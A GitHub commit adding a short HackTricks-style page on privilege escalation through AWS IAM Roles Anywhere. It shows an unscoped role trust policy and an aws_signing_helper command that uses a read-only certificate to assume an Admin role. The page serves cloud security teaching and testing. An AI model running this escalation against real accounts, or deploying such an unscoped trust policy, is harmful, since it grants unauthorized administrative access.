Skip to content

Commit 11bcbd7

Browse files
add blog
1 parent b334a08 commit 11bcbd7

File tree

1 file changed

+50
-0
lines changed

1 file changed

+50
-0
lines changed
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
# AWS - IAM Roles Anywhere Privesc
2+
3+
{{#include ../../../../banners/hacktricks-training.md}}
4+
5+
AWS IAM RolesAnywhere allows workloads outside AWS to assume IAM roles using X.509 certificates. But when trust policies aren't properly scoped, they can be abused for privilege escalation.
6+
7+
This policy lacks restrictions on which trust anchor or certificate attributes are allowed. As a result, any certificate tied to any trust anchor in the account can be used to assume this role.
8+
9+
```json
10+
{
11+
"Version": "2012-10-17",
12+
"Statement": [
13+
{
14+
"Effect": "Allow",
15+
"Principal": {
16+
"Service": "rolesanywhere.amazonaws.com"
17+
},
18+
"Action": [
19+
"sts:AssumeRole",
20+
"sts:SetSourceIdentity",
21+
"sts:TagSession"
22+
]
23+
}
24+
]
25+
}
26+
27+
```
28+
29+
To privesc, the `aws_signing_helper` is required from https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
30+
31+
Then using a valid certificate the attacker can pivot into the higher privilege role
32+
33+
```bash
34+
aws_signing_helper credential-process \
35+
--certificate readonly.pem \
36+
--private-key readonly.key \
37+
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
38+
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
39+
--role-arn arn:aws:iam::123456789012:role/Admin
40+
```
41+
42+
43+
### References
44+
45+
- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/
46+
47+
{{#include ../../../../banners/hacktricks-training.md}}
48+
49+
50+

0 commit comments

Comments
 (0)